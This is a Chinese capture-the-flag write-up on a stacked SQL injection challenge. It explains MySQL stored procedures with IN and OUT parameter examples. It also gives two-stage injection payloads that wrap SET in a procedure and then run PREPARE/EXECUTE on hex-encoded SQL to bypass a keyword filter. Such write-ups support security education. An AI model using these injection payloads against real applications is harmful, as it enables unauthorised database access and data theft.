从强网杯随便注浅析mysql存储过程

Author: Smity

去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结一下这个题目的出题用意和原本的预期做法:

堆叠注入

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。代码中和一般查询不同的是,使用了multi_query函数

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

源码分析

$inject = $_GET['inject'] ?? false;

if ($inject) {

$preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);';

if (eval($preg_match)) {

echo "您输入了敏感字符!";

exit();

}

if(stristr($inject, "set") && stristr($inject, "prepare")){

echo "请不要同时输入set和prepare";

exit();

}

当时的强网杯似乎在stristr这个函数上漏写了i导致大家用大小写绕过,但是没事这个不是重点(逃)

这里过滤了很多查询关键字,比如select,比如盲注用的函数,基本上是没有办法的,但是这里是堆叠注入,就给了我们以执行多条sql语句的机会。

很多同学自然就想到了set+prepare的预处理语句,但是这里规定了不能够同时输入set和prepaere,又被堵死了,但是mysql还有一个可以让语句分开执行且达到等同于一起执行的效果,这里介绍一下正解,mysql的存储过程。

存储过程

存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。类比面向对象编程的类。说白了,存储过程就是具有名字的一段代码,用来完成一个特定的功能。

大家看下面这个很熟悉的例子,这个例子在网络上是教程范例,给大家熟悉一下。无非就是in和out。

create 存储过程,然后call调用。

鉴于很多人不太理解这个in和out的区别,我们再简单提一提。

in——传入参数(只索取,不给予)

调用者可以给"过程"一个值,但是过程不会把这个值返回给你。

比如:

mysql> delimiter $$

mysql> set @p_in=1;

mysql> create procedure in_param(in p_in int)

-> begin

->   select p_in;

->   set p_in=2;

-> select p_in;

-> end$$

mysql> delimiter ;

mysql> call in_param(@p_in);

+------+

| p_in |

+------+

| 1 |

+------+

1 row in set (0.00 sec)

#因为这里先set了p_in=1,所以存储过程里select p_in的值为1

+------+

| p_in |

+------+

| 2 |

+------+

1 row in set (0.00 sec)

#然后set p_in=2,所以存储过程里第二个select p_in的值为2

Query OK, 0 rows affected (0.00 sec)

mysql> select @ p_in;

+------+

| p_in |

+------+

| NULL |

+------+

1 row in set (0.00 sec)

#存储过程执行完,他不会把这个值调用者,调用者在过程外是不能够使用这个变化后的值的

in参数就是只能输入,不能够输出,执行完过程,in参数是不会改变的。

out——传出参数(不索取,只给予)

mysql> delimiter //

mysql> create procedure out_param(out p_out int)

-> begin

-> select p_out;

-> set p_out=2;

-> select p_out;

-> end

-> //

mysql> delimiter ;

mysql> set @p_out=1;

Query OK, 0 rows affected (0.00 sec)

mysql> call out_param(@p_out);

+-------+

| p_out |

+-------+

| NULL |

+-------+

1 row in set (0.00 sec)

+-------+

| p_out |

+-------+

| 2 |

+-------+

1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

out这个参数刚好就是反过来,调用者无论怎么给参数赋初始值,"过程"里都是当作空值开始处理,然后将处理好的值返回给调用者。

分离预处理语句

好了说了这么多,我们还是要结合题目来看看,题目这里明显是要用预处理set 和 prepare来做,但是不能够同时输入。经过上面的讲解,我们可以想到,虽然set和prepare不能够同时输入,但是我只要把set给封装到一个"过程"中去,是不是就可以利用存储过程来代替set呢?

再理一遍大家很熟悉的set preare的注入poc怎么写:

114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#

这个地方的string就是我们要执行的sql语句的16进制表示,stmt则是预处理语句的别名。

然后我们把他分为两个部分:

set @string = hex;

prepare stmt from @string;EXECUTE stmt;

首先我们需要创建一个将set包含进去的存储过程,然后分析输入和输出参数: 1. in参数是sql注入语句的16进制,因为需要绕过敏感字符过滤,并且我们需要输入这个hex给过程拿去利用; 2. out参数则是我们的set里的@string——预处理语句,在"过程"中赋值好以后,拿出来给我们的prepare使用。

因此我们的poc可以这么写:下面的uuid代表php代码生成的随机数。 第一次输入存储过程的定义:

114514';

create procedure `{$uuid}`(out string text(1024), in hex text(1024))

BEGIN

SET string = hex;

END;

;--

第二次用call调用这个存储过程(@decoded其实就是传参,传到上一个poc的string位置,为了和string区分开,就用了另一个名词):

114514';

call `{$uuid}`(@decoded, 0x{$sql});

prepare payload from @decoded;

execute payload;

;--

之后就会正常的执行set+prepare的注入了。

总结

其实大家如果实在不清楚这个in和out,可以使用inout来代替,inout参数是既可以输入,又可以输出。

说白了存储过程就是sql语句里的函数,可以封装代码,所以比赛中如果遇到了不能一起使用的关键字,可以尝试着使用存储过程将其分割开。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

mysql freebuf_浅析mysql存储过程相关推荐

  1. mysql repeatableread_浅析MYSQL REPEATABLE-READ隔离级别

    REPEATABLE-READ 即可重复读,set autocommit= 0或者START TRANSACTION状态下select表的内容不会改变.这种隔离级别可能导致读到的东西是已经修改过的. ...

  2. mysql writeset_浅析MySQL的WriteSet并行复制

    [历史背景] 岁月更迭中我已经从事mysql-dba这个工作三个年头,见证mysql从"基本可用","边缘系统可以用mysql","哦操!你怎么不用m ...

  3. mysql协议重传,MySQL · 源码分析 · 网络通信模块浅析

    MySQL 网络通信浅析 MySQL的网络通信协议主要包含以下几个层次,从最上层的MySQL数据包协议层到最底层的socket传输: | THD | Protocol | NET | VIO | SO ...

  4. mysql 数据库设置mysql注入_MYSQL数据库浅析MySQL的注入安全问题

    <MYSQL数据库浅析MySQL的注入安全问题>要点: 本文介绍了MYSQL数据库浅析MySQL的注入安全问题,希望对您有用.如果有疑问,可以联系我们. 如果把用户输入到一个网页,将其插入 ...

  5. mysql set语句_从强网杯随便注浅析mysql存储过程

    从强网杯随便注浅析mysql存储过程 Author: Smity 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这 ...

  6. Linux下Mysql数据库浅析(一)

    数据库(Database)是按照数据结构来组织.存储和管理数据的仓库.随着信息技术的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管理数据,而转变成用户所需要的各种数据管理的方式,数据库应 ...

  7. 架构周报| 浅析MySQL JDBC连接配置上的两个误区

    经典案例 \\ 浅析MySQL JDBC连接配置上的两个误区:相信使用MySQL的同学都配置过它的JDBC驱动,多数人会直接从哪里贴一段URL过来,然后稍作修改就上去了,对应的连接池配置也是一样的,很 ...

  8. 图解MySql命令行创建存储过程

    一 操作实例 首先登录mysql: 使用source命令,从命令行执行sql脚本,创建表: 创建第一个存储过程: 事先用DELIMITER关键字申明当前段分隔符,这样MySQL才会将";&q ...

  9. mysql 线程缓存_浅析MySQL内存的使用说明(全局缓存+线程缓存)

    首先我们来看一个公式,MySQL中内存分为全局内存和线程内存两大部分(其实并不全部,只是影响比较大的 部分): 复制代码 代码如下: per_thread_buffers=(read_buffer_s ...

最新文章

  1. 使用SHA1、SHA2双证书进行微软数字签名
  2. youtube获取播放列表信息
  3. 剑指offer:从上往下打印二叉树
  4. 图片碎片化mask动画
  5. VTK:vtkSeedWidget种子小部件用法实战
  6. Lotus Notes 和 Crystal Report 的整合應用
  7. des 向量 java_在JAVA中使用DES算法
  8. Linux图片马PHP,php 根据请求生成缩略图片保存到Linux图片服务器的代码
  9. 配置git账号和密码
  10. C# web 后台页面间的跳转
  11. 数据可视化分析软件开发_大数据系统建设解决方案
  12. 招聘笔试行测题之图形推理题解题思路汇总
  13. 你一定要收藏的全网最完整CAD快捷键大全!
  14. jquery name选择器
  15. UOM Conversion Relationship Not Found
  16. 论文阅读——MobileNetV2: Inverted Residuals and Linear Bottlenecks
  17. 100部伴随我们长大的电影
  18. ubuntu系统vim常用命令学习以及ubuntu软件下载安装
  19. JS创建对象和事件绑定
  20. 和利时scada系统服务器参数,MACS-SCADA综合监控系统

热门文章

  1. Sql Server中Case函数的使用(上篇)----转载
  2. s5pv210 音频播放问题 MPlayer移植
  3. LNMP平台对接redis服务
  4. Java入力项目无法设定到form_html中关于form与表单提交操作的资料集合
  5. php数字两位小数_PHP保留两位小数的几种方法
  6. 04Prism WPF 入门实战 - Module
  7. 利用AI技术自动测试游戏
  8. Love2D游戏引擎制作贪吃蛇游戏
  9. 【实施工程师】ubuntu创建文件
  10. PHP面试题:请以空格作为间隔,拆分字符串’Apple Orange Banana Strawberry’,组成数组$fruit,